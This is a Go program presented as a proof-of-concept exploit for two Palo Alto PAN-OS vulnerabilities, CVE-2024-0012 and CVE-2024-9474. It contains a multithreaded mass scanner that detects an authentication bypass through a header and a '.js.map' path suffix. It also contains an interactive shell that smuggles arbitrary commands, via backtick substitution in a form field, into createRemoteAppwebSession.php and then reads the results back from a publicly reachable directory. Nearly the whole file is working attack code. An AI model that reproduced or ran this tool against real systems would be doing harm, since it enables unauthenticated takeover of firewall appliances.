package main import ( "bufio" "crypto/tls" "fmt" "io" "math/rand" "net/http" "net/http/httputil" "os" "regexp" "strings" "sync" "time" "github.com/cheggaaa/pb/v3" "github.com/gookit/color" "github.com/manifoldco/promptui" "github.com/p0dalirius/goopts/parser" ) var ( baseURL string filePath string output string threads int urls []string outputMtx sync.Mutex ) type ExploitClient struct { client *http.Client headers map[string]string } func (ec *ExploitClient) newRequest(method, url, payload string) (*http.Request, error) { var body io.Reader if payload != "" { body = strings.NewReader(payload) } req, err := http.NewRequest(method, url, body) if err != nil { return nil, err } for key, value := range ec.headers { req.Header.Set(key, value) } return req, nil } func init() { rand.Seed(time.Now().UnixNano()) } func printOverBar(msg string) { fmt.Printf("\r\033[K%s\n", msg) } func parseArgs() { ap := parser.ArgumentsParser{ Banner: color.Cyan.Sprintf("Palo Alto PAN-OS Exploit PoC - CVE-2024-0012 & CVE-2024-9474"), } ap.NewStringArgument(&baseURL, "-u", "--url", "", false, "Target base URL (e.g., http://example.com).") ap.NewIntArgument(&threads, "-t", "--threads", 200, false, "Concurrent threads.") ap.NewStringArgument(&filePath, "-f", "--file", "", false, "File with multiple URLs.") ap.NewStringArgument(&output, "-o", "--output", "output.txt", false, "Output file for scan results.") ap.Parse() if filePath != "" && baseURL != "" { color.Error.Println("[error] Cannot use both Scan Mode and Exploit Mode at the same time.") os.Exit(1) } if filePath == "" && baseURL == "" { color.Error.Println("[error] Must specify either Scan Mode (--file) or Exploit Mode (--url).") os.Exit(1) } } func saveToFile(data string) { outputMtx.Lock() defer outputMtx.Unlock() file, err := os.OpenFile(output, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { color.Error.Println("[error] Could not save to file:", err) return } defer file.Close() file.WriteString(data) } func scanModeFunc(url string, bar *pb.ProgressBar, ec *ExploitClient) { defer bar.Increment() fullURL := fmt.Sprintf("%s/php/ztp_gate.php/.js.map", url) req, _ := ec.newRequest("GET", fullURL, "") resp, err := ec.client.Do(req) if err != nil { return } defer resp.Body.Close() if resp.StatusCode == 200 { body, err := io.ReadAll(resp.Body) if err != nil { return } if strings.Contains(string(body), "Zero Touch Provisioning") { saveToFile(fmt.Sprintf("%s - Auth Bypass successful\n", url)) printOverBar(fmt.Sprintf("[+] %s - Auth Bypass successful", url)) } } } func createCustomProgressBar(total int) *pb.ProgressBar { bar := pb.New(total) bar.SetTemplate(pb.ProgressBarTemplate(`{{ red "Progress:" }} {{ bar . "[" "#" "-" ">" }} {{percent .}} {{counters .}}`)) bar.SetRefreshRate(200 * time.Millisecond) bar.SetWriter(os.Stderr) bar.Start() return bar } func exploitModeFunc(url string, ec *ExploitClient) { outputName := fmt.Sprintf("%d.txt", rand.Intn(10000)) for { prompt := promptui.Prompt{ Label: "#", } cmd, err := prompt.Run() if err != nil { fmt.Printf("[-] %s: Failed to read command: %s\n", url, err) continue } cmd = strings.TrimSpace(cmd) if cmd == "exit" { fmt.Println("[+] Exiting interactive shell.") break } payload := fmt.Sprintf("user=`echo $(%s) > /var/appweb/htdocs/unauth/%s`&userRole=superuser&remoteHost=&vsys=vsys1", cmd, outputName) fullURL := fmt.Sprintf("%s/php/utils/createRemoteAppwebSession.php/peppa.js.map", url) req, err := ec.newRequest("POST", fullURL, payload) if err != nil { fmt.Printf("[-] %s: Failed to create request: %s\n", url, err) continue } req.Header.Set("Content-Type", "application/x-www-form-urlencoded") dump, err := httputil.DumpRequestOut(req, true) if err == nil { fmt.Printf("[+] %s - Raw Request:\n%s\n", url, string(dump)) } resp, err := ec.client.Do(req) if err != nil { fmt.Printf("[-] %s: %s\n", url, err) continue } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) responseBody := string(body) fmt.Printf("[+] %s - Response Body:\n%s\n", url, responseBody) var phpsessid string re := regexp.MustCompile("@start@PHPSESSID=([a-zA-Z0-9]+)@end@") matches := re.FindStringSubmatch(responseBody) if len(matches) == 2 { phpsessid = matches[1] } if phpsessid != "" { indexURL := fmt.Sprintf("%s/index.php/.js.map", url) indexReq, err := ec.newRequest("GET", indexURL, "") if err != nil { fmt.Printf("[-] %s: Failed to create index.php request: %s\n", url, err) continue } indexReq.Header.Set("Cookie", fmt.Sprintf("PHPSESSID=%s", phpsessid)) indexReq.Header.Set("Connection", "keep-alive") indexResp, err := ec.client.Do(indexReq) if err != nil { fmt.Printf("[-] %s: %s\n", url, err) continue } defer indexResp.Body.Close() } outputURL := fmt.Sprintf("%s/unauth/%s", url, outputName) outputReq, err := ec.newRequest("GET", outputURL, "") if err != nil { fmt.Printf("[-] %s: Failed to create output request: %s\n", url, err) continue } outputResp, err := ec.client.Do(outputReq) if err != nil { fmt.Printf("[-] %s: %s\n", url, err) continue } defer outputResp.Body.Close() if outputResp.StatusCode == 200 { outputBody, _ := io.ReadAll(outputResp.Body) outputBodyStr := string(outputBody) fmt.Printf("[+] %s - Command Output:\n%s\n", url, outputBodyStr) } else { fmt.Printf("[-] %s - Failed to retrieve command output with status code: %d\n", url, outputResp.StatusCode) } } } func main() { parseArgs() if filePath != "" { file, err := os.Open(filePath) if err != nil { color.Error.Println("[error] Failed to open file:", err) os.Exit(1) } defer file.Close() scanner := bufio.NewScanner(file) for scanner.Scan() { urls = append(urls, strings.TrimSpace(scanner.Text())) } } else { urls = append(urls, baseURL) } client := &http.Client{ Timeout: 10 * time.Second, Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } ec := &ExploitClient{ client: client, headers: map[string]string{ "User-Agent": "PEPPA PIG", "X-PAN-AUTHCHECK": "off", }, } if len(urls) > 1 { bar := createCustomProgressBar(len(urls)) var wg sync.WaitGroup for _, url := range urls { wg.Add(1) go func(url string) { defer wg.Done() scanModeFunc(url, bar, ec) }(url) } wg.Wait() bar.Finish() color.Success.Printf("[+] Results saved to %s\n", output) } else { exploitModeFunc(baseURL, ec) } }